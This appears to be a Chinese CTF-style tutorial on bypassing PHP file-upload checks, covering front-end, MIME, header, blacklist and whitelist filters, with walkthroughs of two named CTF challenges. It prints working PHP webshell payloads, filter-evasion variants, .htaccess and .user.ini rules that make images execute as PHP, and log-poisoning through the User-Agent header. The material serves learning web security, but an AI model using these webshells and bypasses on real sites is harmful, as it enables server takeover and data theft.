共计 5397 个字符,预计需要花费 14 分钟才能阅读完成。

基础部分:
1.JS代码进行前端校验
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
可以禁用JS或者抓包修改,防护约等于没有
2.数据包MIME校验
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
通过检验前端发来的MIME数据校验文件类型,我们只需抓包修改

这里我们尝试上传一个phpinfo,可以看到被拦截下来了
我们修改content-type为image/png

可以看到文件被成功的上传了
3.文件头校验
这里可以用winhex或者010editor修改文件头或者将图片文件和木马合并起来
实战中我们可以手动在木马前面添加GIF89a(GIF图片文件头)来进行绕过
进阶部分:
1.文件后缀黑名单
对部分文件后缀进行限制
如:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
1.如果对文件后缀考虑不周到的话可以用一些不常见的拓展名绕过如:

2.对大小写敏感的话可以尝试大小写绕过
由于Linux是一个对大小写敏感的操作系统,所以file.txt和file.TXT会被视作两个不同的文件
在win则会视作两个相同的文件
3.双写绕过
如果服务器只对文件后缀置空的话,我们可以尝试对文件名进行双写,类似与SQL注入的双写绕过
4.htaccess绕过
apache特有的配置文件
可以将指定文件后缀或者文件名当作php文件执行
如:
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
或
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
以及
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
#和第一个效果一样但是字数更少
只适用于windows靶机的绕过方式
空格绕过
- 原理:在文件名的前面或者后面(主要是后面,因为一般过滤后缀名)添加空格,此时函数匹配不到,但是带有空格不影响解析。
- 方式:抓包,改文件名,在文件末尾添加空格。
- e.g.
“a.php”
->“a.php ”
.
绕过
- 原理:与空格绕过类似。
- 方式:抓包,改文件名,在文件末尾添加
.
。 - e.g.
a.php
->a.php.
::$data绕过
- 原理:在
Windows
中,访问<file>::$data
就是访问文件本身,访问<dir>:<file>::$data
就是访问dir
文件夹中的<file>
。 - 方式:抓包,改文件名,在文件末尾添加
::$data
。 - e.g.
a.php
->a.php::$data
- 注:访问时文件名后不加
::$data
2.文件白名单校验
00截断
条件:PHP < 5.3
php.ini配置文件中 magic_quotes_gpc 为 off
- 原理:系统在对文件名的读取时,如果遇到
0x00
,就会认为读取已结束,从而忽略后面的内容。 - 方式1:抓包,利用
0x00
的URL编码%00
修改文件名。 - e.g.
a.php
->a.php%00.jpg
- 方式2:当截断内容在POST数据中,修改对应位置为一个
;
(自选),然后直接修改16进制内容为00
,再发包。
图片马利用
需要解析漏洞或文件包含漏洞
- 原理:将马放入正常图片中,骗过检测。
- 图片马制作方式:
copy
命令copy a.jpg /b + a.php /a shell.jpg
- 手动写入:记事本编辑写马即可。
- 注:上传的文件本质上依然是一张图片,所以需要通过抓包修改后缀名、上传配置文件、利用文件包含漏洞等方式使得该图片马被当成
php
文件解析。
上传配置文件绕过
.htaccess
文件绕过
中间件为apache
.htaccess
文件(或者“分布式配置文件”):一个纯文本文件,它里面存放着Apache
服务器配置相关的指令。主要的作用有URL重写、自定义错误页面、MIME
类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等方面。- 原理:上传
.htaccess
文件,重写文件解析规则,实现绕过。 - e.g.
jpg
文件的源码会被解析为php
代码AddType application/x-httpd-php .jpg
.user.ini
文件绕过
服务器启用了 fastcgi 模式
.user.ini
:PHP
支持基于每个目录的INI
文件配置,实际上就是一个可以由用户“自定义”的php.ini
。- 有利用价值的配置(相当于文件包含)
auto_prepend_file = <filename> //包含在文件头(常用) auto_append_file = <filename> //包含在文件尾
- e.g. 执行
phpinfo
// .user.ini auto_prepend_file = 1.jpg // 1.jpg <?php phpinfo();?> // 1.php(任意php文件)
- 局限:如果可以配合目录穿越漏洞,就能实现任意文件包含;如果不可以,则只能包含同一目录下的文件。
- 利用:配合
日志包含
,在请求头(一般是UA
字段)写入木马。auto_prepend_file=/var/log/nginx/access.log UA: <?=eval($_POST[x]);?>
3.文件内容校验
过滤php
:<?=eval($_POST[x]);?>
过滤[]
:<?=eval($_POST{x});?>
过滤;
与[]
:<?=system('tac ../flag.*')?>
过滤()
:<?=
tac ../fl*?>
过滤<?:
<script language="php">
echo "Legacy Code";
</script>
注:最后一个需要旧版本的php(5.6以前是完全支持的,7.0以后全部废除)才能绕过
过滤敏感字符如:$_GET,system等
可以尝试编码绕过,如:
<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>
4.一些杂七杂八的绕过方式
多文件上传
可以上传多文件但是只检查第一份文件
- 显然,只需要第一份上传合法文件,第二份上传马即可。
- 注:将第二个文件表单的
action
设置为绝对路径http://xxx.com/<file>
以确定文件上传的路径,方便利用。
%00截断
条件:PHP<5.3.4
PHP白名单早期的一个漏洞
我们上传1.php%00.jpg时,php识别后缀为.jpg,但实际存储的时候是.php结尾
配合文件包含漏洞
当服务器上传文件处没有任何漏洞,我们就要考虑是否是上传一个含马文件再将其包含
例题讲解
1.GHCTF-2025 UPUPUP
https://www.nssctf.cn/problem/6590
初步尝试发现校验了MIME和文件头(实际上是使用了getimagesize)以及黑名单校验
试了一圈发现并没有文件包含漏洞那么问题就有点复杂了
基本上所有的可执行文件的后缀都被禁了
这个时候我们考虑.htaccess文件,但存在文件头校验,如果使用GIF89a或者其他文件头整个服务器就会报500。
当时看了很久也没想出来,还是后面看WP才知道还有这种操作

.htaccess文件是可以用#号注释的,但是我们又要绕过文件头校验。
那么有没有一种文件是用#号开头呢?
有的兄弟,有的
历史上存在一个叫XBM的图片
下面是一个简单的XBM图片
#define test_width 16
#define test_height 7
static unsigned char test_bits[] = {
0x00, 0x00, 0x00, 0x80, 0x00, 0x60, 0x00, 0x30,
0x00, 0x18, 0x00, 0x0C, 0x00, 0x06, 0x00, 0x03,
0x00, 0x03, 0x00, 0x06, 0x00, 0x0C, 0x00, 0x18,
0x00, 0x30, 0x00,
那么现在我们就可以绕过getimagesize了
#define width 1
#define height 1
<FilesMatch "hey.hey">
SetHandler application/x-httpd-php
</FilesMatch>

蚁剑连接即可
2.[NewStarCTF 2023 公开赛道]Upload again!
进来后发现是一个文件上传页面
fuzz一下后发现过滤了文件内容<?
和文件后缀黑名单
那我们来看一下php版本

我们可以用之前说的办法绕过<?,可是可执行的php后缀基本全部被禁止了
由于是文件名黑名单,我们可以考虑.htaccess文件上传
.htaccess
<IfModule mime_module>
AddHandler php5-script .png
SetHandler application/x-httpd-php
</IfModule>
上传后再上传个图片马
<script language="php">
eval($_POST['cmd']);
</script>